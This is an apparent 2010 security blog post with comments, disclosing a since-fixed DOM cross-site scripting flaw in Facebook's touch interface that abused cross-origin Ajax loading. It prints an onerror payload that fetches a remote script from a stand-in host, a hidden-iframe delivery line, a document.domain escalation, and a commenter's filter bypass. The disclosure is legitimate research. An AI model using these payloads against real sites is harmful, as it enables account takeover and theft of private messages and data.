HTML 5 does not do much to solve browser security issues. In fact it actually broadens the scope of what can be exploited, and forces developers to fix code that was once thought safe.

For example HTML5 introduces HTTP access control or Cross-Origin Resource Sharing.  This allows the browser to make ajax requests cross domain.  It introduces new headers so that a service can block remote sites from being able to run non authorized requests, but the client actually needs to add javascript to confirm the origin of the request.

The Exploit

Lets look at the facebook touch page touch.facebook.com (iphone web interface).  There are a few things you should notice:

  1. If you are logged in to Facebook, you are automatically logged in to this page.  Some awesome magic session lets this happen.
  2. If you click on any URL you see the links dont actually change the page but load them with ajax.  http://touch.facebook.com/#profile.php   actually loads http://touch.facebook.com/profile.php into a div on the page.
  3. This interface does not do any actual frame breaking only clickjacking protection, which really doesn’t matter for what we want to do.

Javascript takes everything after the hash (#profile.php) and does an ajax request. It takes the content from the ajax and loads it into a div on the page.  The problem is this is not restricted to relative or local URLs. The attacker could load a remote url because of this HTML5 “feature”. Before HTML5 this would have caused an error and never loaded the content. The request is done client side, so server side param filtering (or WAF) will not help.  To exploit this all we need is a PHP page with some extra headers:

http://touch.facebook.com/#http://example.com/xss.php

The Code

Could not embed GitHub Gist c0b770f44fadfadc901b: API rate limit exceeded for 66.228.55.205. (But here's the good news: Authenticated requests get a higher rate limit. Check out the documentation for more details.)

Because the content of our payload is set with “innerHTML” we can’t just plug in a <script> tag and expect it to work, but other events will fire.  In this example we simply make an image with a bad src and an onerror handle.

Now we can load a remote script to do the work for us:

onerror="$('header').appendChild(document.createElement('script')).src='http://example.com/fb/fb.js'"

Because facebook does not bust out of this frame we can simply place the xss in a hidden iframe on an evil site.

<iframe src="http://touch.facebook.com/#http://example.com/xss.php" style="display:none"></iframe>

Now when a user views the evil site the hacker has full control over touch.facebook.com.  The attacker can:

  • Know who you are
  • See your photos
  • Read messages
  • Read sent messages
  • Send messages
  • Read most private data (e-mail, phone, friends)
  • Add friends
  • Post comments

But lets assume that’s not enough.  What if we need access to facebook.com for some reason.   Maybe we want to take over a facebook app owned by the user.

For this we are going to use: “document.domain”.  Because http://touch.facebook.com is a sub-domain of http://facebook.com in our javascript/xss we can define document.domain on touch to be facebook.com.  This will allow us to talk directly to facebook.com

This was all done client side. Ajax loaded the payload then we used DOM to load the iframe for the rest of the exploit. The hash part of the url is not sent to the server making it almost impossible for facebook to know what was exploited.

The Fix

Facebook could simply force all urls to be relative to the base url by adding ‘/’ to the front of all requests before sending ajax.

Also the XHR now supports an origin attribute from the request, so facebook could check that the origin matches facebook.com before loading in the content.

Things to Note

Facebook is not alone in this exploit, I have notified other sites and jquery libraries which suffer from this same attack.

Cross-Origin Resource Sharing is currently available in  Firefox 3.5, Safari 4, and Google Chrome 2.  IE8 supports CORS with the XDomainRequest function instead of the existing XMLHttpRequest.

UPDATE:  This issue was reported on 7/13 resolved by facebook on 7/14 (amazingly fast and unexpected response time!)


10 Comments

  1. zcorpan
    Posted July 18, 2010 at 7:16 pm | Permalink

    > Facebook could simply force all urls to be relative to the base url by adding ‘/’ to the front of all requests before sending ajax.

    That doesn’t help, since you can leave out the scheme part of the URL.

    #/example.com/xss.php

  2. max
    Posted July 22, 2010 at 12:41 am | Permalink

    hi
    this regex check is done on the client, right? a manipulation of the script would bypass this check. of course you are not able to manipulate it without an xss, but with a proxy like burp you actually could.

  3. Posted July 24, 2010 at 8:05 am | Permalink

    Great find. I saw something like this couple of weeks ago and I was worried how javascript is populating my friend list on some other domain without asking me !!!

  4. Posted July 27, 2010 at 8:02 am | Permalink

    it was very interesting to read.
    I want to quote your post in my blog. It can?
    And you et an account on Twitter?

  5. Posted July 27, 2010 at 10:38 pm | Permalink

    Keep posting stuff like this i really like it

  6. Posted July 29, 2010 at 8:55 pm | Permalink

    it was very interesting to read m-austin.com
    I want to quote your post in my blog. It can?
    And you et an account on Twitter?

  7. ITNoob
    Posted July 30, 2010 at 12:03 pm | Permalink

    Hi I find this article is really interesting and it really help me on my html research. However did FB really fix this problem or just ‘temporary fixing it’ by blocking it?
    Do you have the link of the case that facebook actually take action to this attack?

  8. Posted August 2, 2010 at 11:17 am | Permalink

    I would like to exchange links with your site m-austin.com
    Is this possible?

9 Trackbacks

  1. [...] This post was mentioned on Twitter by nexus11, Andrew Pantyukhin and Samy Kamkar, Matt Austin. Matt Austin said: Hacking Facebook with HTML5: http://bit.ly/bYMzLR [...]

  2. By Twitted by theharmonyguy on July 17, 2010 at 10:01 am

    [...] This post was Twitted by theharmonyguy [...]

  3. [...] Hacking Facebook with HTML5 | m-austin.com (tags: html5 security) This entry was posted on Wednesday, July 21st, 2010 at 8:06 pm and is filed under Uncategorized. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site. « links for 2010-07-19 [...]

  4. [...] be the primary defense. I hope there is eventually a "Click-To-HTML5" product available. Hacking Facebook with HTML5 | m-austin.com How HTML 5 Geolocation could be exploited | Jordan Hall HTML5 causes security concerns – Feature [...]

  5. [...] Hacking Facebook with HTML5 [...]

  6. [...] A similar issue to the one above was found way back in July 2010 and was used to exploit a facebook.com sub-domain. For more information on that particular issue I suggest you read Matt Austin’s blog post about it, as it captures the issue perfectly http://m-austin.com/blog/?p=19. [...]

  7. By ENISA HTML5 security warnings threaten facebook on August 24, 2011 at 9:22 am

    [...] the possibilities for their promised Facebook attack in November 2011.Matt Austin pointed out one such weakness on his hacking site back in July, explaining how easy it was to access private data on Facebook by [...]

  8. By HTML5 Training Day (Tel Aviv) | Ido's Blog on March 5, 2012 at 5:25 am

    [...] HTML5 security issues and how to use the best parctices in order to avoid them. Few examples where, Hacking Facebook with HTML5 using Cross-Origin Resource Sharing. Other good points were about web sockets (open ports that [...]

  9. [...] Austin made a brilliant discovery sometime back and wrote a detailed post of his hack, you absolutely must read it. Basically it is a problem with sites that use Ajax to [...]